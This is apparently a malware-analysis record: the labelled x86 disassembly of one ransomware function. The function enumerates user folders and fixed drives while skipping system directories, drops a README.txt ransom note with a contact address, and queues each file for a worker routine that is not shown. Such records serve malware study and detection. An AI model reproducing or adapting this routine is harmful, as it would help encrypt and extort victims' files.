Function at 0x401780
Capabilities:
Enumerate files on windows
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x954
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x950], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
vmovdqu xmm0, xmmword [0x404240]
vmovdqu xmmword [esp + 0x1a0], xmm0
vmovdqu xmm0, xmmword [0x404210]
vmovdqu xmmword [esp + 0x1b0], xmm0
vmovdqu xmm0, xmmword [0x404250]
vmovdqu xmmword [esp + 0x1c0], xmm0
vmovdqu xmm0, xmmword [0x404270]
vmovdqu xmmword [esp + 0x1d0], xmm0
vmovdqu xmm0, xmmword [0x404230]
vmovdqu xmmword [esp + 0x1e0], xmm0
vmovdqu xmm0, xmmword [0x404260]
vmovdqu xmmword [esp + 0x1f0], xmm0
vmovdqu xmm0, xmmword [0x404280]
vmovdqu xmmword [esp + 0x200], xmm0
vmovdqu xmm0, xmmword [0x404290]
vmovdqu xmmword [esp + 0x210], xmm0
vmovdqu xmm0, xmmword [0x404220]
vmovdqu xmmword [esp + 0x220], xmm0
vmovdqu xmm0, xmmword [0x404200]
vmovdqu xmmword [esp + 0x230], xmm0
vmovdqu xmm0, xmmword [0x4042a0]
mov edi, dword [ebp + 0xc]
mov esi, 0xc
mov edx, 0x4042a0
lea ecx, [esp + 0x1a0]
mov dword [esp + 0xc], edi
vmovdqu xmmword [esp + 0x240], xmm0
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], 0
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40189e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401888
jmp 0x401c4f
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
lea edi, [esp + 0x1a0]
nop dword [eax + eax]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x401c15
push 0x104
push dword [esp + 0x14]
lea eax, [esp + 0x258]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
add esp, 0xc
mov dword [esp + 0x20], str.C:Windows
mov dword [esp + 0x24], str.C:UsersDefault
xor esi, esi
mov dword [esp + 0x28], str.C:UsersPublic
mov eax, str.C:Windows
mov dword [esp + 0x2c], 0
nop dword [eax]
push eax
lea eax, [esp + 0x254]
push eax
call ebx
add esp, 8
test eax, eax
je 0x401c0b
mov eax, dword [esp + esi*4 + 0x24]
inc esi
test eax, eax
jne 0x401910
lea eax, [esp + 0x250]
push eax
push str._s
lea eax, [esp + 0x760]
push 0x200
push eax
call fcn.004010c0
add esp, 0x10
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x75c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401c05
nop
mov edx, 0x4061a8
lea ecx, [esp + 0x8c]
nop dword [eax]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4019a0
test al, al
je 0x40199c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4019a0
add ecx, 2
add edx, 2
test al, al
jne 0x401980
xor eax, eax
jmp 0x4019a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401bea
mov ecx, 0x4061a4
lea eax, [esp + 0x8c]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4019e0
test dl, dl
je 0x4019dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4019e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4019c0
xor eax, eax
jmp 0x4019e5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401bea
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x254]
push eax
push str._s_s
lea eax, [esp + 0x564]
push 0x200
push eax
call fcn.004010c0
add esp, 0x14
test byte [esp + 0x60], 0x10
je 0x401a40
push dword [esp + 0xc]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x55c]
push 1
push dword [esp + 0x1c]
call fcn.00401400
add esp, 0xc
jmp 0x401bea
lea eax, [esp + 0x8c]
push 0x2e
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
mov esi, eax
lea eax, [esp + 0x258]
push eax
push str._sREADME.txt
lea eax, [esp + 0x368]
push 0x100
push eax
call fcn.004010c0
mov edi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x374]
push eax
call edi
add esp, 0x20
test eax, eax
je 0x401b38
test esi, esi
je 0x401aac
push str..lnk
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x401b38
lea eax, [esp + 0x250]
push eax
push str._sREADME.txt
lea eax, [esp + 0x360]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x36c]
push eax
call edi
add esp, 0x18
test eax, eax
je 0x401b38
lea eax, [esp + 0x250]
push eax
push 0x40624c
lea eax, [esp + 0x460]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x468]
push 0x406248
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401b38
push dword [esp + 0xc]
push str.Your_files_have_been_fucked._nYour_personal_ID:__s_nMessage_me_here_petergriffin69_firemail.eu
push esi
call fcn.00401010
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0x34
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x401bea
lea eax, [esp + 0x558]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
add esp, 4
mov dword [esi], eax
test eax, eax
je 0x401be0
mov eax, dword [esp + 0x18]
push 0x406640
push esi
push 0x401100
vmovdqu ymm0, ymmword [eax]
mov eax, dword [esp + 0x20]
vmovdqu ymmword [esi + 4], ymm0
vmovdqu xmm0, xmmword [eax]
vmovdqu xmmword [esi + 0x24], xmm0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test eax, eax
je 0x401b9f
push eax
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x401bea
mov edx, dword [esi]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ba6
sub eax, edi
je 0x401bbc
mov byte [edx], 0
lea edx, [edx + 1]
sub eax, 1
jne 0x401bb1
push dword [esi]
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
add esp, 4
mov ecx, 0x34
mov eax, esi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401bd0
push esi
call edi
jmp 0x401be7
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
lea eax, [esp + 0x60]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401970
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
push dword [esp + 0x10]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [esp + 0x1c]
lea edi, [esp + 0x1a0]
inc eax
mov edx, 0x4042a0
mov dword [esp + 0x1c], eax
mov esi, 0xc
shl eax, 4
add edi, eax
mov ecx, edi
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4018b0
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401c36
mov edi, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov bl, 0x41
lea eax, [esp + 0xc]
mov byte [esp + 0xc], bl
push eax
mov word [esp + 0x11], 0x5c3a
mov byte [esp + 0x13], 0
call esi
cmp eax, 3
jne 0x401c8a
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0xc]
push edi
push 0
push dword [esp + 0x1c]
call fcn.00401400
add esp, 0xc
inc bl
cmp bl, 0x5a
jle 0x401c57
mov ecx, dword [esp + 0x95c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402269
mov esp, ebp
pop ebp
ret